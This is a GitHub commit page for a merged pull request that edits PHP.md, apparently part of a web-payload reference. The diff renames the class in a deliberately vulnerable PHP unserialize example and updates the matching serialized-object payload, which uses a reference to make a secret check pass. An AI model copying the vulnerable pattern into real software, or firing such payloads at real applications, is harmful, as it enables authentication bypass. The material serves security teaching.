Merge pull request #603 from romisfrag/patch-1

Update PHP.md
This commit is contained in:
Swissky 2022-11-26 17:01:40 +01:00 committed by GitHub
commit 183876f660
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -88,7 +88,7 @@ Vulnerable code:
```php ```php
<?php <?php
class Object class ObjectExample
{ {
var $guess; var $guess;
var $secretCode; var $secretCode;
@ -108,7 +108,7 @@ if($obj) {
Payload: Payload:
```php ```php
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;} O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
``` ```
We can do an array like this: We can do an array like this: